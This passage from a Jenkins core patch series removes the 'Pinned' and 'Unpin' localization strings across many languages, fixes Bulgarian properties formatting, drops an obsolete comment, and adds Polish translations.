\uC124\uCE58\uD55C \uBC84\uC804 Restart\ Once\ No\ Jobs\ Are\ Running=\uC544\uBB34\uB7F0 \uC791\uC5C5\uC774 \uC5C6\uC744 \uB54C \uC7AC\uC2DC\uC791\uD558\uAE30 Uncheck\ to\ disable\ the\ plugin=\uD50C\uB7EC\uADF8\uC778\uC744 \uBE44\uD65C\uC131\uD654\uD558\uB824\uBA74 \uCCB4\uD06C\uB97C \uD574\uC9C0\uD558\uC2ED\uC2DC\uC624 Uninstall=\u0412\u0438\u0434\u0430\u043B\u0438\u0442\u0438 -Unpin=\uD540 \uD574\uCCB4 Version=\uBC84\uC804 downgradeTo={0}\uB85C \uB2E4\uC6B4\uADF8\uB808\uC774\uB4DC -wiki.url=http://wiki.jenkins-ci.org/display/JENKINS/Pinned+Plugins diff --git a/core/src/main/resources/hudson/PluginManager/installed_zh_CN.properties b/core/src/main/resources/hudson/PluginManager/installed_zh_CN.properties index 20edd4eb6a..cef268874e 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_zh_CN.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_zh_CN.properties @@ -23,12 +23,9 @@ Changes\ will\ take\ effect\ when\ you\ restart\ Jenkins=\u6240\u6709\u6539\u53D8\u4F1A\u5728\u91CD\u65B0\u542F\u52A8Jenkins\u4EE5\u540E\u751F\u6548\u3002 Enabled=\u542F\u7528 Name=\u540D\u79F0 -Pinned=\u7ED1\u5B9A Previously\ installed\ version=\u4E0A\u4E00\u4E2A\u5B89\u88C5\u7684\u7248\u672C Restart\ Once\ No\ Jobs\ Are\ Running=\u5F53\u6CA1\u6709\u4EFB\u52A1\u65F6\u91CD\u542F Uncheck\ to\ disable\ the\ plugin=\u53D6\u6D88\u9009\u62E9\u4EE5\u7981\u7528\u63D2\u4EF6 Uninstall=\u5378\u8F7D -Unpin=\u89E3\u9664\u7ED1\u5B9A Version=\u7248\u672C downgradeTo=\u964D\u5230 -wiki.url=http://wiki.jenkins-ci.org/display/JENKINS/Pinned+Plugins diff --git a/core/src/main/resources/hudson/PluginManager/installed_zh_TW.properties b/core/src/main/resources/hudson/PluginManager/installed_zh_TW.properties index 205f23e219..9721180a51 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_zh_TW.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_zh_TW.properties @@ -30,11 +30,8 @@ Enabled=\u5DF2\u555F\u7528 Name=\u540d\u7a31 Version=\u7248\u672c Previously\ installed\ version=\u524D\u4E00\u5B89\u88DD\u7248\u672C -Pinned=\u5df2\u639b\u8f09 downgradeTo=\u964d\u7248\u6210 {0} -Unpin=\u5378\u9664 -wiki.url=http://wiki.jenkins-ci.org/display/JENKINS/Pinned+Plugins Uninstallation\ pending=\u89e3\u9664\u5b89\u88dd\u4f5c\u696d\u64f1\u7f6e\u4e2d Uninstall=\u89E3\u9664\u5B89\u88DD diff --git a/core/src/main/resources/jenkins/model/Jenkins/systemInfo.jelly b/core/src/main/resources/jenkins/model/Jenkins/systemInfo.jelly index 89c0d958c1..a1224ebc48 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/systemInfo.jelly +++ b/core/src/main/resources/jenkins/model/Jenkins/systemInfo.jelly @@ -47,7 +47,6 @@ THE SOFTWARE. ${%Name} ${%Version} ${%Enabled} - ${%Pinned} @@ -55,7 +54,6 @@ THE SOFTWARE. - diff --git a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_bg.properties b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_bg.properties index fcafa62f63..e331da9acf 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_bg.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_bg.properties @@ -40,7 +40,6 @@ Thread\ Dumps=\ \u0420\u0430\u0437\u0442\u043e\u0432\u0430\u0440\u0432\u0430\u043d\u0438\u044f \u043d\u0430 \u043d\u0438\u0448\u043a\u0438\u0442\u0435 Version=\ \u0412\u0435\u0440\u0441\u0438\u044f -Pinned=\ \u041d\u0435\u043f\u0440\u043e\u043c\u0435\u043d\u044f\u0435\u043c\u0430 \u0432\u0435\u0440\u0441\u0438\u044f System\ Information=\ \u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u0437\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0442\u0430 diff --git a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_de.properties b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_de.properties index 8a60d7efc0..fc2bd2cf3f 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_de.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_de.properties @@ -24,7 +24,6 @@ System\ Properties=Systemeigenschaften Environment\ Variables=Umgebungsvariablen Enabled=Aktiviert No\ plugins\ installed.=Keine Plugins installiert. -Pinned=Gesperrt Name=Name Plugins=Plugins Version=Version diff --git a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_el.properties b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_el.properties index bf8e0b8ab3..e6664ac87c 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_el.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_el.properties @@ -3,7 +3,6 @@ Enabled=\u0395\u03BD\u03B5\u03C1\u03B3\u03BF\u03C0\u03BF\u03B9\u03B7\u03BC\u03AD\u03BD\u03BF Environment\ Variables=\u039C\u03B5\u03C4\u03B1\u03B2\u03BB\u03B7\u03C4\u03AD\u03C2 \u03A0\u03B5\u03C1\u03B9\u03B2\u03AC\u03BB\u03BB\u03BF\u03BD\u03C4\u03BF\u03C2 Name=\u038C\u03BD\u03BF\u03BC\u03B1 -Pinned=\u039A\u03B1\u03C1\u03C6\u03B9\u03C4\u03C3\u03C9\u03BC\u03AD\u03BD\u03BF Plugins=\u03A0\u03C1\u03CC\u03C3\u03B8\u03B5\u03C4\u03B1 System\ Properties=\u039C\u03B5\u03C4\u03B1\u03B2\u03BB\u03B7\u03C4\u03AD\u03C2 \u03A3\u03C5\u03C3\u03C4\u03AE\u03BC\u03B1\u03C4\u03BF\u03C2 Version=\u0388\u03BA\u03B4\u03BF\u03C3\u03B7 diff --git a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_es.properties b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_es.properties index 3be54b1ec3..f5661dca26 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_es.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_es.properties @@ -25,7 +25,6 @@ Environment\ Variables=Variables de entorno Version=Versión Plugins=plugins No\ plugins\ installed.=No hay plugins instalados -Pinned=Fijado Name=Nombre Enabled=Activo System\ Information=Información del sistema diff --git a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_fr.properties b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_fr.properties index 4588c57375..3a5d2f9064 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_fr.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_fr.properties @@ -21,7 +21,6 @@ # THE SOFTWARE. Name=Nom -Pinned=Rep\u00E9r\u00E9 System\ Properties=Propriétés système Enabled=En effet Environment\ Variables=Variables d''environnement diff --git a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_it.properties b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_it.properties index 358b6eac52..f22f5f1ac7 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_it.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_it.properties @@ -23,7 +23,6 @@ Enabled=Attivo Environment\ Variables=Variabili d''ambiente Name=Nome -Pinned=Fisso Plugins=Estensioni System\ Properties=Propriet\u00E0 di sistema Version=Versione diff --git a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_ja.properties b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_ja.properties index 49b8a4f79a..5db7ded37e 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_ja.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_ja.properties @@ -28,5 +28,4 @@ No\ plugins\ installed.=\u30a4\u30f3\u30b9\u30c8\u30fc\u30eb\u3055\u308c\u3066\u Name=\u540d\u524d Version=\u30d0\u30fc\u30b8\u30e7\u30f3 Enabled=\u6709\u52b9\u5316 -Pinned=\u30d4\u30f3 Thread\ Dumps=\u30b9\u30ec\u30c3\u30c9\u30c0\u30f3\u30d7 diff --git a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_ko.properties b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_ko.properties index ca302f6157..15002250f6 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_ko.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_ko.properties @@ -23,7 +23,6 @@ Enabled=\uD65C\uC131\uD654 Environment\ Variables=\uD658\uACBD \uBCC0\uC218 Name=\uC774\uB984 -Pinned=\uACE0\uC815 Plugins=\uD50C\uB7EC\uADF8\uC778 System\ Properties=\uC2DC\uC2A4\uD15C \uC18D\uC131 Version=\uBC84\uC804 diff --git a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_lt.properties b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_lt.properties index 14d3ece4e9..3de2a8f72e 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_lt.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_lt.properties @@ -1,6 +1,5 @@ threadDump_blurb=\u0160iame puslapyje rasite pagrindinio ir agent\u0173 gij\u0173 l\u016b\u017eimo informacij\u0105. No\ plugins\ installed.=N\u0117ra \u012fdiegt\u0173 pried\u0173. -Pinned=Prisegtas Name=Pavadinimas System\ Properties=Sistemos savyb\u0117s System\ Information=Sistemos informacija diff --git a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_lv.properties b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_lv.properties index b5374d7e76..932f25c17d 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_lv.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_lv.properties @@ -3,7 +3,6 @@ Enabled=Iesp\u0113jots Environment\ Variables=Vides Main\u012Bgie Name=Nosaukums -Pinned=Piesaist\u012Bts Plugins=Spraud\u0146i System\ Properties=Sist\u0113mas parametri Version=Versija diff --git a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_pl.properties b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_pl.properties index 96c85cb8bf..69177c9d3a 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_pl.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_pl.properties @@ -3,7 +3,6 @@ Enabled=W\u0142\u0105czony Environment\ Variables=Zmienne systemowe Name=Nazwa -Pinned=Przypi\u0119ty Plugins=Wtyczki System\ Properties=W\u0142a\u015Bciwo\u015Bci systemu Version=Wersja diff --git a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_pt_BR.properties b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_pt_BR.properties index 0e7bcd0313..e9fea4ceaf 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_pt_BR.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_pt_BR.properties @@ -21,7 +21,6 @@ # THE SOFTWARE. Name=Nome -Pinned=Fixado Plugins=Plugins System\ Properties=Propriedades do sistema Enabled=Habilitado diff --git a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_ru.properties b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_ru.properties index db88258f9f..6937e3ea88 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_ru.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_ru.properties @@ -21,7 +21,6 @@ # THE SOFTWARE. Name=\u0418\u043C\u044F -Pinned=\u041F\u0440\u0438\u043A\u0440\u0435\u043F\u043B\u0435\u043D Plugins=\u041F\u043B\u0430\u0433\u0438\u043D\u044B System\ Properties=\u0421\u0432\u043e\u0439\u0441\u0442\u0432\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b Enabled=\u0410\u043A\u0442\u0438\u0432\u0435\u043D diff --git a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_sr.properties b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_sr.properties index 4159d64565..9c8e87a46d 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_sr.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_sr.properties @@ -8,6 +8,5 @@ No\ plugins\ installed.=\u041D\u0435\u043C\u0430 \u0438\u043D\u0441\u0442\u0430\ Name=\u0418\u043C\u0435 Version=\u0412\u0435\u0440\u0437\u0438\u0458\u0430 Enabled=\u041E\u043C\u043E\u0433\u0443\u045B\u0435\u043D\u043E -Pinned=\u0424\u0438\u043A\u0441\u0438\u0440\u0430\u043D\u0435 Thread\ Dumps=\u0414\u0435\u043F\u043E\u043D\u0438\u0458a \u043D\u0438\u0442\u043E\u0432\u0430 threadDump_blurb=\u041E\u0442\u0438\u0452\u0438\u0442\u0435 \u043D\u0430 \u043E\u0432\u0443 \u0441\u0442\u0440\u0430\u043D\u0438\u0446\u0443 \u0434\u0430 \u0432\u0438\u0434\u0438\u0442\u0435 \u0434\u0435\u043F\u043E\u043D\u0438\u0458\u0435 \u043D\u0438\u0442\u043E\u0432\u0430 \u0433\u043B\u0430\u0432\u043D\u0438\u0445 \u0438 \u0430\u0433\u0435\u043D\u0442\u043D\u0438\u0445 \u043C\u0430\u0448\u0438\u043D\u0430. diff --git a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_sv_SE.properties b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_sv_SE.properties index a710373a08..edee65f72b 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_sv_SE.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_sv_SE.properties @@ -23,5 +23,4 @@ Enabled=Aktiverad Environment\ Variables=Milj\u00F6variabler Name=Namn -Pinned=Pinnad System\ Properties=Systemegenskaper diff --git a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_uk.properties b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_uk.properties index ec48c0b8fe..0cccc6a957 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_uk.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_uk.properties @@ -3,7 +3,6 @@ Enabled=\u0423\u0432\u0456\u043C\u043A\u043D\u0435\u043D\u043E Environment\ Variables=\u0417\u043C\u0456\u043D\u043D\u0456 \u043E\u0442\u043E\u0447\u0435\u043D\u043D\u044F Name=\u041D\u0430\u0437\u0432\u0430 -Pinned=\u0417\u0430\u043A\u0440\u0456\u043F\u043B\u0435\u043D\u0438\u0439 Plugins=\u0414\u043E\u0434\u0430\u0442\u043A\u0438 System\ Properties=\u0421\u0438\u0441\u0442\u0435\u043C\u043D\u0456 \u0432\u043B\u0430\u0441\u0442\u0438\u0432\u043E\u0441\u0442\u0456 Version=\u0412\u0435\u0440\u0441\u0456\u044F diff --git a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_zh_CN.properties b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_zh_CN.properties index 7f43f1b003..2693a973f3 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_zh_CN.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_zh_CN.properties @@ -23,7 +23,6 @@ Enabled=\u542F\u7528 Environment\ Variables=\u73AF\u5883\u53D8\u91CF Name=\u540D\u79F0 -Pinned=\u56FA\u5B9A Plugins=\u63D2\u4EF6 System\ Properties=\u7CFB\u7EDF\u5C5E\u6027 Version=\u7248\u672C diff --git a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_zh_TW.properties b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_zh_TW.properties index 85b258fb53..7739087e73 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_zh_TW.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_zh_TW.properties @@ -29,6 +29,5 @@ No\ plugins\ installed.=\u6c92\u6709\u5b89\u88dd\u5916\u639b\u7a0b\u5f0f\u3002 Enabled=\u555f\u7528\u72c0\u6cc1 Name=\u540d\u7a31 Version=\u7248\u672c -Pinned=\u5df2\u639b\u8f09 Thread\ Dumps=\u57f7\u884c\u7dd2\u50be\u5370 -- GitLab From 1612ec2ffa31bc9bcf83845db40198ebb4bc6246 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Fri, 27 Jan 2017 17:31:14 -0500 Subject: [PATCH 578/712] For some reason, Bulgarian translations included a gratuitous newline between key and value, which core/move-l10n.groovy does not yet grok. --- .../resources/hudson/PluginManager/installed_bg.properties | 3 --- .../resources/jenkins/model/Jenkins/systemInfo_bg.properties | 1 - 2 files changed, 4 deletions(-) diff --git a/core/src/main/resources/hudson/PluginManager/installed_bg.properties b/core/src/main/resources/hudson/PluginManager/installed_bg.properties index eb32e7b3ce..60dc8c4e29 100644 --- a/core/src/main/resources/hudson/PluginManager/installed_bg.properties +++ b/core/src/main/resources/hudson/PluginManager/installed_bg.properties @@ -26,7 +26,6 @@ Enabled=\ \u0420\u0430\u0437\u0440\u0435\u0448\u0435\u043d Name=\ \u0418\u043c\u0435 - \u0424\u0438\u043a\u0441\u0438\u0440\u0430\u043d\u0430 \u0432\u0435\u0440\u0441\u0438\u044f Previously\ installed\ version=\ \u041f\u0440\u0435\u0434\u0438\u0448\u043d\u043e \u0438\u043d\u0441\u0442\u0430\u043b\u0438\u0440\u0430\u043d\u0430 \u0432\u0435\u0440\u0441\u0438\u044f Restart\ Once\ No\ Jobs\ Are\ Running=\ @@ -35,7 +34,6 @@ Uncheck\ to\ disable\ the\ plugin=\ \u041c\u0430\u0445\u043d\u0435\u0442\u0435 \u043e\u0442\u043c\u0435\u0442\u043a\u0430\u0442\u0430 \u0437\u0430 \u0437\u0430\u0431\u0440\u0430\u043d\u0430 \u043d\u0430 \u043f\u0440\u0438\u0441\u0442\u0430\u0432\u043a\u0430\u0442\u0430 Uninstall=\ \u0414\u0435\u0438\u043d\u0441\u0442\u0430\u043b\u0438\u0440\u0430\u043d\u0435 - \u041f\u043e\u0441\u043b\u0435\u0434\u043d\u0430 \u0432\u0435\u0440\u0441\u0438\u044f Version=\ \u0412\u0435\u0440\u0441\u0438\u044f downgradeTo=\ @@ -60,7 +58,6 @@ This\ plugin\ cannot\ be\ enabled=\ \u0422\u0430\u0437\u0438 \u043f\u0440\u0438\u0441\u0442\u0430\u0432\u043a\u0430 \u043d\u0435 \u043c\u043e\u0436\u0435 \u0434\u0430 \u0441\u0435 \u0432\u043a\u043b\u044e\u0447\u0438 Filter=\ \u0424\u0438\u043b\u0442\u0440\u0438\u0440\u0430\u043d\u0435 - \u0422\u0430\u0437\u0438 \u043f\u0440\u0438\u0441\u0442\u0430\u0432\u043a\u0430 \u043d\u0435 \u043c\u043e\u0436\u0435 \u0434\u0430 \u0441\u0435 \u0438\u0437\u043a\u043b\u044e\u0447\u0438 requires.restart=\ \u0422\u0440\u044f\u0431\u0432\u0430 \u0434\u0430 \u0440\u0435\u0441\u0442\u0430\u0440\u0442\u0438\u0440\u0430\u0442\u0435 Jenkins, \u043f\u0440\u0435\u0434\u0438 \u0434\u0430 \u043f\u0440\u0430\u0432\u0438\u0442\u0435 \u043f\u043e\u0432\u0435\u0447\u0435 \u043f\u0440\u043e\u043c\u0435\u043d\u0438 \u043f\u043e\ \u043f\u0440\u0438\u0441\u0442\u0430\u0432\u043a\u0438\u0442\u0435. \u041e\u043f\u0430\u0441\u043d\u043e \u0435 \u0434\u0430 \u043f\u0440\u043e\u0434\u044a\u043b\u0436\u0438\u0442\u0435 \u0431\u0435\u0437 \u0440\u0435\u0441\u0442\u0430\u0440\u0442\u0438\u0440\u0430\u043d\u0435. diff --git a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_bg.properties b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_bg.properties index e331da9acf..bf6faaac09 100644 --- a/core/src/main/resources/jenkins/model/Jenkins/systemInfo_bg.properties +++ b/core/src/main/resources/jenkins/model/Jenkins/systemInfo_bg.properties @@ -40,6 +40,5 @@ Thread\ Dumps=\ \u0420\u0430\u0437\u0442\u043e\u0432\u0430\u0440\u0432\u0430\u043d\u0438\u044f \u043d\u0430 \u043d\u0438\u0448\u043a\u0438\u0442\u0435 Version=\ \u0412\u0435\u0440\u0441\u0438\u044f - \u041d\u0435\u043f\u0440\u043e\u043c\u0435\u043d\u044f\u0435\u043c\u0430 \u0432\u0435\u0440\u0441\u0438\u044f System\ Information=\ \u0418\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044f \u0437\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0442\u0430 -- GitLab From d8859876cbec775949c8f45d55735a1f5fc81edb Mon Sep 17 00:00:00 2001 From: Vincent Latombe Date: Sun, 29 Jan 2017 10:38:56 +0100 Subject: [PATCH 579/712] [JENKINS-41511] Remove obsolete comment --- .../main/java/hudson/security/GlobalSecurityConfiguration.java | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/core/src/main/java/hudson/security/GlobalSecurityConfiguration.java b/core/src/main/java/hudson/security/GlobalSecurityConfiguration.java index a7f6697463..751ad92f93 100644 --- a/core/src/main/java/hudson/security/GlobalSecurityConfiguration.java +++ b/core/src/main/java/hudson/security/GlobalSecurityConfiguration.java @@ -79,7 +79,7 @@ public class GlobalSecurityConfiguration extends ManagementLink implements Descr * @since 2.24 * @return true if the slave agent port is enforced on this instance. */ - @Restricted(NoExternalUse.class) // only for index.groovy + @Restricted(NoExternalUse.class) public boolean isSlaveAgentPortEnforced() { return Jenkins.getInstance().isSlaveAgentPortEnforced(); } -- GitLab From 267534bb5dcdbb88cdf4730cc1c11d1fa90b7a7b Mon Sep 17 00:00:00 2001 From: Damian Szczepanik Date: Sat, 14 Jan 2017 17:19:35 +0100 Subject: [PATCH 580/712] Polish translations --- .../main/java/hudson/model/UpdateCenter.java | 2 +- .../hudson/AboutJenkins/index_pl.properties | 24 ++++++++++++++++-- .../resources/hudson/Messages_pl.properties | 4 +-- .../thirdPartyLicenses_pl.properties | 24 ++++++++++++++++++ .../hudson/model/AllView/noJob_pl.properties | 10 ++++---- .../hudson/model/Messages.properties | 2 +- .../hudson/model/Messages_pl.properties | 1 + .../ProxyView/configure-entries_pl.properties | 23 +++++++++++++++++ .../hudson/model/View/noJob_pl.properties | 23 +++++++++++++++++ .../BuildButtonColumn/column_pl.properties | 4 +-- .../authenticate-security-token_pl.properties | 14 +++++------ .../model/Jenkins/systemInfo_pl.properties | 25 +++++++++++++++++-- .../config-buildWrappers_pl.properties | 4 +-- 13 files changed, 136 insertions(+), 24 deletions(-) create mode 100644 core/src/main/resources/hudson/PluginWrapper/thirdPartyLicenses_pl.properties create mode 100644 core/src/main/resources/hudson/model/ProxyView/configure-entries_pl.properties create mode 100644 core/src/main/resources/hudson/model/View/noJob_pl.properties diff --git a/core/src/main/java/hudson/model/UpdateCenter.java b/core/src/main/java/hudson/model/UpdateCenter.java index 0c11acb9e5..205434407a 100644 --- a/core/src/main/java/hudson/model/UpdateCenter.java +++ b/core/src/main/java/hudson/model/UpdateCenter.java @@ -820,7 +820,7 @@ public class UpdateCenter extends AbstractModelObject implements Saveable, OnMas } public String getDisplayName() { - return "Update center"; + return Messages.UpdateCenter_DisplayName(); } public String getSearchUrl() { diff --git a/core/src/main/resources/hudson/AboutJenkins/index_pl.properties b/core/src/main/resources/hudson/AboutJenkins/index_pl.properties index 41b9fec938..4d44c42119 100644 --- a/core/src/main/resources/hudson/AboutJenkins/index_pl.properties +++ b/core/src/main/resources/hudson/AboutJenkins/index_pl.properties @@ -1,6 +1,26 @@ -# This file is under the MIT License by authors - +# The MIT License +# +# Copyright (c) 2017, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. about=O Jenkinsie {0} blurb=Jenkins jest rozwijanym przez spo\u0142eczno\u015B\u0107 open-source serwerem Continuous Integration dependencies=Jenkins jest oparty na nast\u0119puj\u0105cych zewn\u0119trznych bibliotekach: plugin.dependencies=Informacja o licencji i zale\u017Cno\u015Bci plugin\u00F3w: +static.dependencies=Statyczne zasoby diff --git a/core/src/main/resources/hudson/Messages_pl.properties b/core/src/main/resources/hudson/Messages_pl.properties index c20122aeae..fca6881a87 100644 --- a/core/src/main/resources/hudson/Messages_pl.properties +++ b/core/src/main/resources/hudson/Messages_pl.properties @@ -1,6 +1,6 @@ # The MIT License # -# Copyright (c) 2016, Damian Szczepanik +# Copyright (c) 2016-2017, Damian Szczepanik # # Permission is hereby granted, free of charge, to any person obtaining a copy # of this software and associated documentation files (the "Software"), to deal @@ -27,7 +27,7 @@ Util.day={0} {0,choice,0#dni|1#dzie\u0144|1utworzy\u0107 nowe zadanie aby rozpocz\u0105\u0107 prac\u0119. - +Welcome\ to\ Jenkins!=Witamy w Jenkinsie! +newJob=Utw\u00F3rz nowe zadanie, aby rozpocz\u0105\u0107 prac\u0119. +login=Zaloguj si\u0119, aby utworzy\u0107 nowe zadanie. +signup=Je\u015Bli nie masz jeszcze konta, mo\u017Cesz si\u0119 zarejestrowa\u0107 teraz. diff --git a/core/src/main/resources/hudson/model/Messages.properties b/core/src/main/resources/hudson/model/Messages.properties index 70bba990cf..f4cc589476 100644 --- a/core/src/main/resources/hudson/model/Messages.properties +++ b/core/src/main/resources/hudson/model/Messages.properties @@ -265,7 +265,7 @@ View.ReadPermission.Description=\ View.MissingMode=No view type is specified View.DisplayNameNotUniqueWarning=The display name, "{0}", is already in use by another view and \ could cause confusion and delay. - +UpdateCenter.DisplayName=Update Center UpdateCenter.Status.CheckingInternet=Checking internet connectivity UpdateCenter.Status.CheckingJavaNet=Checking update center connectivity UpdateCenter.Status.Success=Success diff --git a/core/src/main/resources/hudson/model/Messages_pl.properties b/core/src/main/resources/hudson/model/Messages_pl.properties index 401394c96a..5baa85e5ee 100644 --- a/core/src/main/resources/hudson/model/Messages_pl.properties +++ b/core/src/main/resources/hudson/model/Messages_pl.properties @@ -61,6 +61,7 @@ Run.Summary.BrokenForALongTime=nieudane od dawna Run.Summary.BrokenSinceThisBuild=nieudane od tego zadania Run.Summary.BrokenSince=nieudane od zadania {0} Run.Summary.Unknown=? +UpdateCenter.DisplayName=Centrum aktualizacji UpdateCenter.DownloadButNotActivated=Pobrana pomy\u015Blnie. Zostanie w\u0142\u0105czona podczas ponownego uruchomienia Jenkinsa UpdateCenter.Status.CheckingInternet=Sprawdzanie po\u0142\u0105czenia z Internetem UpdateCenter.Status.CheckingJavaNet=Sprawdzanie po\u0142\u0105czenia z centrum aktualizacji diff --git a/core/src/main/resources/hudson/model/ProxyView/configure-entries_pl.properties b/core/src/main/resources/hudson/model/ProxyView/configure-entries_pl.properties new file mode 100644 index 0000000000..da8020acd3 --- /dev/null +++ b/core/src/main/resources/hudson/model/ProxyView/configure-entries_pl.properties @@ -0,0 +1,23 @@ +# The MIT License +# +# Copyright (c) 2017, Damian Szczepanik +# +# Permission is hereby granted, free of charge, to any person obtaining a copy +# of this software and associated documentation files (the "Software"), to deal +# in the Software without restriction, including without limitation the rights +# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +# copies of the Software, and to permit persons to whom the Software is +# furnished to do so, subject to the following conditions: +# +# The above copyright notice and this permission notice shall be included in +# all copies or substantial portions of the Software. +# +# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, +# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN +# THE SOFTWARE. +The\ name\ of\ a\ global\ view\ that\ will\ be\ shown.=Nazwa globalnego widoku, kt\u00F3ra b\u0119dzie wy\u015Bwietlana +View\ name=Nazwa widoku diff --git a/core/src/main/resources/hudson/model/View/noJob_pl.properties b/core/src/main/resources/hudson/model/View/noJob_pl.properties new file mode 100644 index 0000000000..671c916980 --- /dev/null +++ b/core/src/main/resources/hudson/model/View/noJob_pl.properties @@ -0,0 +1,23 @@ +# The MIT License +# +# Copyright (c) 2017, 